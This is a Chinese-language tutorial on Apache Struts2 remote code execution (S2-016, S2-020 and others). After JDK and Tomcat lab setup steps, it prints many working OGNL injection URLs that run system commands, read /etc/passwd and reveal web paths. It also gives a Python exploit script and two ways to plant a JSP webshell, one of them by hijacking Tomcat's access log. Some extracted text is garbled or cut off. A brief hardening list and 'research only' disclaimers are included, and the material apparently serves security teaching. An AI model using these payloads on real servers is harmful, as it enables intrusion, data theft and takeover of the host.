struts-2.3.15.1-all.zipdocs #文档,包含了 Struts2API
struts-2.3.15.1-all.ziplib #构建 Struts2 工程所需要的包
struts-2.3.15.1-all.zipsrc #Struts2 的所有源代码
struts-2.3.15.1-all.zipapps #空白工程
struts-2.3.15.1-all.zip #大集成,包括上面所有的内容
开始学习使用依赖的最基本的 jar 包下表注明了各个压缩包的作用。
从网站上下载的 Struts2 包含了二三十个库文件,但大多数是可选的,有些库是插件, 用于和其他框架的整合。
读者可自行下载 struts2 压缩包,展开后是一个非常简单的项目,从 WEB-INF/lib 目录中 可以看到 5 个库文件,解释如下:
包名说明

commons-logging-.jar #日志管理 f
reemarker-
.jar #表现层框架,定义了 struts2 的可视组件主题(theme)
ognl-.jar struts2-core-.jar #OGNL 表达式语言,struts2 支持该 EL
struts2-core-.jar #struts2 的核心库
xwork-
.jar #webwork 的核心库,自然需要它的支持

1.3.2.1.8 配置 JDK 环境变量
  1, 新建变量名:JAVA_HOME,变量值:
        C:Program FilesJavajdk1.8.0_40
  2,打开 PATH,添加变量值:
        %JAVA_HOME%in;%JAVA_HOME%jrein
  3 新建变量名:CLASSPATH,变量值:
        .;%JAVA_HOME%libdt.jar;%JAVA_HOME%lib	ools.jar
  备注: 
  4,.表示当前路径,%JAVA_HOME%就是引用前面指定的 JAVA_HOME; 
  5,JAVA_HOME 指明 JDK 安装路径,此路径下包括 lib,bin,jre 等文件夹,tomcat,eclipse 等的运行都需要依靠此变量。 
  6,PATH 使得系统可以在任何路径下识别 java 命令。 
  7,CLASSPATH 为 java 加载类(class or lib)路径,只有类在 classpath 中,java 命令才能识 别。
1.3.2.1.9 注意事项
   JAVA_HOME 中的路径不能用分号结尾,如 C:Program FilesJavajdk1.8.0_40。   C:Program FilesJavajdk1.8.0_40    %JAVA_HOME%in;%JAVA_HOME%jrein    .;%JAVA_HOME%libdt.jar;%JAVA_HOME%lib	ools.jar  www.oldboyedu.com  
   CATALINA_BASE,CATALINA_HOME,TOMCAT_HOME 中的路径不能以“”结尾。 
   JAVA_HOME 的路径一定不要写成了 JRE 的路径。 
   在环境变量中修改添加变量时,一定要注意分号、空格,是否有多余的字母。作者 就是因为 path 路径中多了一个字母,怎么都配置不成功。如果配置不成功,一定 要反复检查。

以上错误,非常容易出现错误:CATALINA_HOME 或是 JAVA_HOME 没有配置好。如错误 提示“The CATALINA_HOME environment variable is not defined correctly” 经验内容仅供参考,如果您需解决具体问题,建议您详细咨询相关领域专业人士。

1.3.2.1.10 测试 JDK
  在 CMD 命令下输入 javac,java,javadoc 命令:出现图示界面,表示安装成功。

1.3.2.1.11 配置 Tomcat 环境变量
   新建变量名:CATALINA_BASE,变量值:c:apache-tomcat-8.0.21-windows-i64 
   新建变量名:CATALINA_HOME,变量值:c:apache-tomcat-8.0.21-windows-i64 
   打开 PATH,添加变量值:%CATALINA_HOME%lib;%CATALINA_HOME%in
1.3.2.1.12 启动 Tomcat 服务
  方法两种: 
        方法一:在 CMD 命令下输入命令:startup,出现如下对话框,表明服务启动成功。 
        方法二:右键点击桌面上的“我的电脑”->“管理”->“服务和应用程序”->“服务”, 找到“Apache Tomcat”服务,右键点击该服务,选择“属性”,将“启动类型”由“手 动”改成“自动”。

1.3.2.1.13 测试 Tomca
  成功启动后,默认包含在 Tomcat 中的 Web 应用程序将可以通过访问输入 http://localhost:8080/。如果一切顺利,那么它应该显示以下结果:

1.3.2.1.14 Struts2 漏洞实验代码导入环境
  以上几节全部部署完毕了之后就开始导入 strut 漏洞实验代码环境里了,将 Struts2 漏洞 实验环境.rar 里面的文件解压提取到咱们的“C:apache-tomcat-8.0.21”里面,并重启 tomcat 服务,这样再输入打开浏览器,在地址栏中输入 http://localhost:8080 回车,如果看到 Tomcat 自带的一个 JSP 页面,说明你的 Struts2 漏洞实验代码导入环境已搭建成功。

1.3.2.1.15 实战 struts2 远程执行代码漏洞利用
  利用工具可以用任意语言编写其实就是发送漏洞代码就行了。一个 request 一个 response, 我尝试用过纯 JS PHP JSP JavaSwing 利用代码: 检测是否存在: 
  POC1:

http://localhost:8080/?('43_memberAccess.allowStaticMethodAccess')(a)=true
&(b)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(b ))&('43c')(('43_memberAccess.excludeProperties75@java.util.Collections@E MPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(5000)')(d))

  POC2:

http://localhost:8080/?id='%2b(%23_memberAccess[%22allowStaticMethodAccess% 22]=true,@java.lang.Thread@sleep(5000))%2b'

  POC3:

http://localhost:8080/?foo=(%23context[%22xwork.MethodAccessor.denyMethod Execution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22al lowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,@java.lang.Thr ead@sleep(5000))(meh%29&z[%28foo%29%28%27meh%27%29]=true

  POC4:

http://localhost:8080/?class.classLoader.jarPath=(%23context%5b%22xwork.Met hodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%2
3_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java. lang.Thread@sleep(5000))(aa)&x[(class.classLoader.jarPath)('aa')]

  POC5(执行了两次所以是 10 秒):

http://localhost:8080/?a=1${%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Thread@sleep(5000)}

  执行 CMD 命令: 关于回显:webStr75new40byte[100] 修改为合适的长度。

  POC1:

http://localhost:8080/?('43_memberAccess.allowStaticMethodAccess')(a)=true &(b)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(b ))&('43c')(('43_memberAccess.excludeProperties75@java.util.Collections@E MPTY_SET')(c))&(g)(('43req75@org.apache.struts2.ServletActionContext@getR equest()')(d))&(h)(('43webRootzpro75@java.lang.Runtime@getRuntime().exec( 43req.getParameter(%22cmd%22))')(d))&(i)(('43webRootzproreader75new40ja
va.io.DataInputStream(43webRootzpro.getInputStream())')(d))&(i01)(('43web Str75new40byte[100]')(d))&(i1)(('43webRootzproreader.readFully(43webStr )')(d))&(i111)(('43webStr1275new40java.lang.String(43webStr)')(d))&(i2) (('43xman75@org.apache.struts2.ServletActionContext@getResponse()')(d))&( i2)(('43xman75@org.apache.struts2.ServletActionContext@getResponse()')(d) )&(i95)(('43xman.getWriter().println(43webStr12)')(d))&(i99)(('43xman.ge tWriter().close()')(d))&cmd=cmd%20/c%20ipconfig

  POC2:

http://localhost:8080/?id='%2b(%23_memberAccess[%22allowStaticMethodAccess% 22]=true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23ex ec=@java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23 iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buff er=new%20byte[100],%23iswinreader.readFully(%23buffer),%23result=new%20java .lang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContex t@getResponse(),%23response.getWriter().println(%23result))%2b'&cmd=cmd%20/ c%20ipconfig

  POC3:

http://localhost:8080/?user.loginname=(%23context[%22xwork.MethodAccessor.d enyMethodExecution%22]=%20new%20java.lang.Boolean(false),%23_memberAccess[% 22allowStaticMethodAccess%22]=new%20java.lang.Boolean(true),%23req=@org.apa che.struts2.ServletActionContext@getRequest(),%23exec=@java.lang.Runtime@ge tRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.i o.DataInputStream(%23exec.getInputStream()),%23buffer=new%20byte[1000],%23i swinreader.readFully(%23buffer),%23result=new%20java.lang.String(%23buffer) ,%23response=@org.apache.struts2.ServletActionContext@getResponse(),%23resp onse.getWriter().println(%23result))&z[(user.loginname)('meh')]=true&cmd=cm d%20/c%20set

  POC4:

http://localhost:8080/?class.classLoader.jarPath=(%23context%5b%22xwork.Met hodAccessor.denyMethodExecution%22%5d=+new+java.lang.Boolean(false),%23_mem berAccess%5b%22allowStaticMethodAccess%22%5d=true,%23req=@org.apache.struts 2.ServletActionContext@getRequest(),%23a=%40java.lang.Runtime%40getRuntime(
).exec(%23req.getParameter(%22cmd%22)).getInputStream(),%23b=new+java.io.In putStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5 b50000%5d,%23c.read(%23d),%23s3cur1ty=%40org.apache.struts2.ServletActionCo ntext%40getResponse().getWriter(),%23s3cur1ty.println(%23d),%23s3cur1ty.clo se())(aa)&x[(class.classLoader.jarPath)('aa')]&cmd=cmd%20/c%20netstat%20-an

  POC5:

http://localhost:8080/?a=1${%23_memberAccess[%22allowStaticMethodAccess%22] =true,%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23exec= @java.lang.Runtime@getRuntime().exec(%23req.getParameter(%22cmd%22)),%23iswinreader=new%20java.io.DataInputStream(%23exec.getInputStream()),%23buffer= new%20byte[1000],%23iswinreader.readFully(%23buffer),%23result=new%20java.l ang.String(%23buffer),%23response=@org.apache.struts2.ServletActionContext@ getResponse(),%23response.getWriter().println(%23result),%23response.close( )}&cmd=cmd%20/c%20set

  经过不断测试以上代码后成功执行漏洞利用的结果:

(不同版本漏洞利用方法跟构造代码都不一样,请自行根据版本跟漏洞环境测试)

1.3.2.2 分析 Struts2 远程命令执行漏洞分析

  当一夜之间 struts 漏洞流行起来了,各种工具利用代码网络上到处都是。今天为大家带 来了当前页面实现交互的 shell 的利用代码分析。
  新的 exp 构造的很精巧,以 POST 的方式提交绕过对输入参数的部分过滤。

('43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('43context['xwo rk.MethodAccessor.denyMethodExecution']75false')(b))&('43c')(('43_membe rAccess.excludeProperties75@java.util.Collections@EMPTY_SET')(c))&(d)(('@j ava.lang.Thread@sleep(8000)')(d))
当前线程 sleep 8S
命令执行主要是通过 ognl 对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的 ognl 语句执行,变量必须要带有#,之前通过023 (16 进制的#) 来绕过,官 方补丁屏蔽了这种但是可以利用43(8 进制的#)进行绕过。
实现交互的 shell
('43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('43context['xwo rk.MethodAccessor.denyMethodExecution']75false')(b))&('43c')(('43_membe rAccess.excludeProperties75@java.util.Collections@EMPTY_SET')(c))&(g)(('4 3mycmd75'ls40u002dl'')(d))&(h)(('43myret75@java.lang.Runtime@getRunt ime().exec(43mycmd)')(d))&(i)(('43mydat75new40java.io.DataInputStream( 43myret.getInputStream())')(d))&(j)(('43myres75new40byte[51020]')(d))&(k )(('43mydat.readFully(43myres)')(d))&(l)(('43mystr75new40java.lang.Str ing(43myres)')(d))&(m)(('43myout75@org.apache.struts2.ServletActionConte xt@getResponse()')(d))&(n)(('43myout.getWriter().println(43mystr)')(d))

  75 (=的 8 进制)40(空格的 8 进制) ongl 语句中执行的参数不允许出现空格。当然包 括其他。 
  老版本的正则是^#=:都不允许,通杀的话是用40 来替代。 
  这样上面就是

1.设置上下文 denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量) 设置外部拦截器为空
3.mycmd=“ls -l”定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(43mycmd)’) (调用静态方法执行我 们的变量)
5.mydat=new java.io.DataInputStream(43myret.getInputStream())’) 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流 (5,6 为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到 repsonse 的数据
9.myout.getWriter().println(#mystr) ;把 response 的数据打印到屏幕上。

  shell 一样。java 更直接,因为 tomcat 等 container 和 webapp 几乎没界限,利用方式是 一样的,同一层面的东西。所以只要找到这个上下文的 writer,往里面读写就成功了。

1.3.2.3 Struts2 再爆远程代码执行漏洞

1.3.2.3.1 摘要
  Struts 又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意 代码。Struts 2.3.15.1 之前的版本,参数 action 的值 redirect 以及 redirectAction 没有正确过 滤,导致 ognl 代码执行。 —(公告)官方安全公告给出了编号和简要介绍 http://struts.apache.org/development/2.x/docs/security-bulletins.html “A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
1.3.2.3.2 描述
  影响版本:Struts 2.0.0 - Struts 2.3.15 报告者:Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE 编号:CVE-2013-2251
  但是并没有说原理,也没有发布任何补丁。
1.3.2.3.3 分析
  事实上,这次 struts2 官方一共发了两个漏洞,还有个叫 s2-012,但是这个漏洞,看题 目,应该是我之前在《Xcon2012 攻击 JAVA WEB》时的已经爆出来了,所以本文只说另一个。 
  struts2 官方的开发傻乎乎的,比如这个漏洞,要么官方就不要发出来,既然发出来了, 就应该发补丁,但是官方仅仅发了这段话,对于详细内容,普通用户不开放访问。


从这段话可以大致总结一下几点:
1、未修补的远程代码执行漏洞
2、includeParams 参数在 URLTAG 中出现了问题
仅根据这两点,熟悉 struts2 运行机制和之前漏洞原理的人,都可以轻易分析出具体利 用 POC。

1.3.2.3.4 漏洞触发:
  由于官方没有发补丁,所以最新版本的 struts2 还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA 的示例应用。
  经过简单测试,就看到了想要的结果。 根据官方给的信息,问题出在 a 标签,所以写个 jsp 页面,内容如下:
  <s:a includeParams="all">Click here.</s:a>
  这个是 struts2 标签库的 a 标签,该标签会在页面上显示当前 URL,当 includeParams=all 时,就会显示具体参数内容。 
  唯一需要解的迷,就是如何让参数内容作为 OGNL 表示试执行,但是这个迷未免太好猜 了,我随手测试就出结果。    
1.3.2.3.5 漏洞证明
  参数会以 OGNL 表达式执行
  http://host/struts2-blank/example/X.action?action:%25{3*4} 
  http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}
1.3.2.3.6 代码执行
  http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.Proces sBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.la ng.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start() } 
  http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).s tart()}
1.3.2.3.7 访问 url:
  http://localhost:8080/blank/error.jsp?aaa=${struts2 的常用 POC}

  几乎没有什么分析过程,就拿到了 POC,最终为了研究修补方案,只好被迫研究了漏洞 原理。
1.3.2.3.8 漏洞原理:
  Struts2 标签库中的 url 标签和 a 标签的 includeParams 这个属性,代表显示请求访问参 数的含义,一旦它的值被赋予 ALL 或者 GET 或者 POST,就会显示具体请求参数内容。按照正常的需求,把参数 urlEncode 一下也就够了,问题在于,struts 竟然多做了一步,这把参 数做了 OGNL 解析!
  代码:
package org.apache.struts2.views.uti.DefaultUrlHelper 这个 class 的 parseQueryString 方法。
           public Map<String, Object> parseQueryString(String queryString, boolean forceValueArray) {
                  Map<String, Object> queryParams = new LinkedHashMap<String, Object>(); 
                  if (queryString != null) { 
                        ...... 
                        if (paramName != null) { 
                              paramName = translateAndDecode(paramName); 
                              String translatedParamValue = translateAndDecode(paramValue); 
                              ...... 
                        translateAndDecode 会调用 
                              private String translateVariable(String input) { ValueStack valueStack =                         
                  ServletActionContext.getContext().getValueStack(); 
      return TextParseUtil.translateVariables(input, valueStack); }
  最终 TextParseUtil.translateVariables 会直接调用 OGNL 解析执行。 
  以下仅供教学研究之用,严禁非法用途!
1.3.2.3.9 执行任意命令 EXP:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnewjava.io.BufferedReader(%23c),%23e%3dnewchar[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

1.3.2.3.10 爆网站路径 EXP:

?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.disp atcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D% 23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23m att%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRes ponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter %28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

1.3.2.3.11 python 执行任意命令:
import urllib2,sys,re 
def get(url, data): 
      string = url + "?" + data 
      req = urllib2.Request("%s"%string) 
      response = urllib2.urlopen(req).read().strip() 
      print strip(response) 
def strip(str): 
      tmp = str.strip()       
      blank_line=re.compile('x00') 
      tmp=blank_line.sub('',tmp) 
      return tmp 
if __name__ == '__main__': url = 
      sys.argv[1] 
      cmd = sys.argv[2]
      cmd1 = sys.argv[3]
      attack="redirect:${%%23a%%3d(new%%20java.lang.ProcessBuilder(new%%2 0java.lang.String[]{'%s','%s'})).start(),%%23b%%3d%%23a.getInputStream(),%% 23c%%3dnew%%20java.io.InputStreamReader(%%23b),%%23d%%3dnew%%20java.io.Buff eredReader(%%23c),%%23e%%3dnew%%20char[50000],%%23d.read(%%23e),%%23matt%%3 d%%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), %%23matt.getWriter().println(%%23e),%%23matt.getWriter().flush(),%%23matt.g etWriter().close()}"%(cmd,cmd1)
      get(url,attack)
1.3.2.3.12 getshell exp:

?redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.Htt pServletRequest'), %23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\", "/"), new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getP arameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputS tream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%

1.3.2.3.13 然后用以下代码写 shell:

上前目录生成 1.jsp

1.3.2.3.14 Struts2 最新远程代码执行漏洞(S2-016)官方补丁分析


对于 redirect 和 redirect_action,prefix,直接去除了。

1.3.2.3.15 国内网站受灾严重

1.3.2.4 Struts2 S2-020 在 Tomcat 8 下的命令执行分析

  Struts S2-020 这个通告已经公布有一段时间了。目前大家都知道这个漏洞可以造成 DOS、 文件下载等危害,相信各大厂商也已经采取了相应的安全措施。今天是和大家分享一下对这个漏洞的一点研究,包括如何在 Tomcat 8 下导致 RCE,目的是抛砖引玉,有不足之处欢迎大 家指出。
1.3.2.4.1 属性列举
  这个漏洞分析的一个难点在于:通过 ognl 的 class.xx 这种方式来遍历属性时,得到的是 实际运行环境中的动态 class,因此仅作静态分析是很困难的。例如 classLoader,在不同容 器中就各不相同。于是我编写了一个小脚本来自动枚举这样的属性:(这段脚本只考虑了 int、 string 与 boolean 这些基本属性,未考虑数组等复杂的情况,实际情况下结果会更多)
<%@ page language="java" import="java.lang.reflect.*" %> 
<%! 
public void processClass(Object instance, javax.servlet.jsp.JspWriter out, 
java.util.HashSet set, String poc){ 
      try { 
            Class<?> c = instance.getClass(); 
            set.add(instance); 
            Method[] allMethods = c.getMethods(); 
            for (Method m : allMethods) { 
                  if (!m.getName().startsWith("set")) { 
                        continue; 
                  } 
                  if (!m.toGenericString().startsWith("public")) { 
                        continue; } 
                  Class<?>[] pType = m.getParameterTypes();
                  if(pType.length!=1) continue; 
                  if(pType[0].getName().equals("java.lang.String")|| 
                  pType[0].getName().equals("boolean")|| 
                  pType[0].getName().equals("int")){ 
                        String fieldName = m.getName().substring(3,4).toLowerCase()+m.getName().substring(4);
                        out.print(poc+"."+fieldName + "<br>");
                  }
            }
            for (Method m : allMethods) { 
                  if (!m.getName().startsWith("get")) { 
                        continue; } 
                  if (!m.toGenericString().startsWith("public")) { c
                        ontinue; } 
            Class<?>[] pType = m.getParameterTypes(); 
            if(pType.length!=0) continue;
            if(m.getReturnType() == Void.TYPE) continue; 
            Object o = m.invoke(instance); 
            if(o!=null) { 
                  if(set.contains(o)) continue; 
                  processClass(o,out, set, poc+"."+m.getName().substring(3,4).toLowerCase()+m.getName().substring(4)); 
            } 
          } 
       } catch (java.io.IOException x) { 
            x.printStackTrace(); } 
         catch (java.lang.IllegalAccessException x) { 
            x.printStackTrace(); } 
         catch (java.lang.reflect.InvocationTargetException x) { 
            x.printStackTrace(); 
} 
} 
%>
<% java.util.HashSet set = new java.util.HashSet<Object>();
String poc = "class.classLoader"; 
example.HelloWorld action = new example.HelloWorld(); 
processClass(action.getClass().getClassLoader(),out,set,poc); 
%>
  在 tomcat 8.0.3 下 Struts2.3.16 的 blank app 中执行这段 jsp,输出结果如下:
  (省略部分非相关属性)

class.classLoader.resources.context.parent.pipeline.first.encoding
class.classLoader.resources.context.parent.pipeline.first.directory class.classLoader.resources.context.parent.pipeline.first.checkExists class.classLoader.resources.context.parent.pipeline.first.renameOnRotate class.classLoader.resources.context.parent.pipeline.first.fileDateFormat class.classLoader.resources.context.parent.pipeline.first.prefix
class.classLoader.resources.context.parent.pipeline.first.rotatable
class.classLoader.resources.context.parent.pipeline.first.buffered
class.classLoader.resources.context.parent.pipeline.first.suffix
class.classLoader.resources.context.parent.pipeline.first.locale
class.classLoader.resources.context.parent.pipeline.first.requestAttributes Enabled class.classLoader.resources.context.parent.pipeline.first.enabled class.classLoader.resources.context.parent.pipeline.first.conditionUnless class.classLoader.resources.context.parent.pipeline.first.conditionIf class.classLoader.resources.context.parent.pipeline.first.pattern
class.classLoader.resources.context.parent.pipeline.first.condition class.classLoader.resources.context.parent.pipeline.first.asyncSupported class.classLoader.resources.context.parent.pipeline.first.domain class.classLoader.resources.context.parent.pipeline.first.next.asyncSupport ed class.classLoader.resources.context.parent.pipeline.first.next.domain class.classLoader.resources.context.parent.pipeline.first.next.next.asyncSu pported class.classLoader.resources.context.parent.pipeline.first.next.next.domain
......
这意味着 Tomcat 8 下至少有 200 多个 boolean、int 或 string 类型的属性是可以操纵的, 虽然可修改不一定会产生危害,但至少说明这个漏洞的潜在风险不小。

1.3.2.4.2 POC
  经过分析发现,通过下面的方法可以造成 webshell 的效果,最终导致 Tomcat 下的 RCE。 
  上面的属性中,有几个控制在 tomcat 上生成的 access log 的文件名,其默认值如下:

class.classLoader.resources.context.parent.pipeline.first.directory =logs class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log
class.classLoader.resources.context.parent.pipeline.first.suffix = .txt class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd
默认情况下,生成的 access log 位于 logs 目录(与 webapps 平行)下,文件名是 localhost_access_log.2014-03-09.txt,但通过修改上面的属性值,可以导致在 webapps 目录下 写入 jspwebshell。具体步骤如下(以 struts 2.3.16 下的 blank app 为例):
访问下面的 url 来改变属性:
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader. resources.context.parent.pipeline.first.directory=webapps/ROOT
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader. resources.context.parent.pipeline.first.prefix=shell http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader. resources.context.parent.pipeline.first.suffix=.jsp
访问下面的 url 来触发 tomcat 切换 log(这里有个坑,这个属性必须是数字,这里设定为 1),那么从此开始 tomcat 的 access log 将被记录入 webapps/ROOT/shell1.jsp 中:
http://127.0.0.1/struts2-blank/example/HelloWorld.action?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1
通过发包访问下面的请求,在 access log 中植入代码
http://127.0.0.1/struts2-blank/example/aaaa.jsp?a=<%Runtime.getRuntime().exec("calc");%>
访问上述请求后,就可以看到生成了 webapps/ROOT/shell1.jsp,内容如下:

结合前面设定的参数,访问下面的 url,观察 shell 执行 http://127.0.0.1/shell1.jsp

通过分析,上面的 POC 中 class.classLoader.resources.context.parent.pipeline.first 这个属 性实际是org.apache.catalina.valves.AccessLogValve,在 conf/server.xml 里面有一段相关的配 置:

<!-- Access log processes allexample.
      Documentation at:/docs/config/valve.html 
      Note: The pattern used isequivalent to using pattern="common" --> <ValveclassName="org.apache.catalina.valves.AccessLogValve"directory="logs" 
      prefix="localhost_access_log" suffix=".txt" 
      pattern="%h %l %u %t&quot;%r&quot; %s %b" />
  为何修改了 dataformat 会触发切换日志呢?注意下面一个属性,默认是 true
  .class.classLoader.resources.context.parent.pipeline.first.rotatable
  每次 Log 时,都会调用 rotate:
publicvoid log(CharArrayWriter message)
{ 
      rotate();
...
  而 rotate 是检查当前的 systime 经过 format 后,与当前的 tsDate 是否相同。如果日期 不同了,自然需要切换日志文件了:
public void rotate() 
{ 
      if (this.rotatable) {
            long systime =System.currentTimeMillis(); 
            if (systime - this.rotationLastChecked> 1000L) 
                  this.rotationLastChecked = systime; 
                  String tsDate =this.fileDateFormatter.format(new Date(systime)); 
                  if (!this.dateStamp.equals(tsDate)){
                        close(true); 
                        this.dateStamp = tsDate; 
                        open(); 
                  } 
              } 
            } 
         } 
      }
  而我们之前已经修改了 dateFormat,所以就触发了日志切换。这个特性与具体的 OS 无 关,是 tomcat 代码决定的。在 linux 与 windows 下证实该问题均存在。
1.3.2.4.3 后记
  这个 POC 距离实际的攻击还有一定的距离,发表此文仅供技术研究使用,请勿用于实 际攻击。另外,也许还有其他的利用方式,Tomcat 8 下那么多的可操控的属性,或许有别的 也可以 RCE?其他的容器下,是否也有这么多的可操控属性呢?欢迎讨论。

...

1.4 修复命令执行漏洞

   严格检查程序参数,特别是 "&", "&&", "|", "||"。在代码中去除 system 等直接命令 行执行函数或者禁止把外部传入参数传入到该类可执行函数的参数中。 
   限制在指定的范围。以及文件路径参数严格限制,不允许用户控制命令等相关的参 数,限定执行范围。 
   与 SQL 注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的 script、 iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口, 也包括 HTTP 请求中的 Cookie 中的变量,HTTP 请求头部中的变量等。 
   也包括所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参 数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了 参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击,防止 入侵者通过 sql 注入漏洞提升执行系统 os 级命令。 
   对进入数据库的特殊字符('"<>&*;等)进行转义处理,或编码转换。  确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须 对应为 int 型。 
   数据长度应该严格规定,不仅要验证数据的类型,还要验证其格式、长度、范围和 内容。能在一定程度上防止比较长的 SQL 注入语句无法正确执行。 
   不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。  网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能 导致一些过滤模型被绕过。 
   对输出的数据也要检查,数据库里的值有可能会在一个大网站的多处都有输出,即 使在输入做了编码等操作,在各处的输出点时也要进行安全检查。 
   严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限, 从而最大限度的减少注入攻击对数据库的危害。 
   避免网站显示 SQL 错误信息,比如类型错误、字段不匹配,还有路径泄露,参数命 令信息等,防止攻击者利用这些错误信息进行一些判断。 
   在网站发布之前建议使用一些专业的入侵检测工具进行检测,及时修补这些漏洞。 
   对于脚本语言,建议配置好相关配安全配置,关闭远程文件包含,命令开关参数功 能。 
   在发布应用程序之前测试所有已知的威胁。 学习总结: 不知道大家看过这远程代码执行章节后,有了多大的进步呢?是不是能够独立 的寻找漏洞修补了呢?如果大家有了什么好的发现,一定要告诉我啊,因为分享才 能让大家一起进步。




                                命令执行与反序列化

一、远程代码执行

1、远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。

  现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"

2、远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

3、实战测试
(1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file
(5)dvwa low && Medium & 或&;& High | (代码里面的|后有一个空格)
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

(6)struts2命令执行漏洞攻防演示
历史漏洞:https://www.seebug.org/search/?keywords=struts2

(1)s2早期综合利用工具
(2)s2-045漏洞还原
http://192.168.0.127:8080/struts2-showcase/showcase.action
(3)s2-48攻击过程还原
struts2 S2-048远程代码执行漏洞exp
C:>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action "ipconfig"

(4)s2-052攻击过程还原(针对版本struts 2.5-2.5.12)
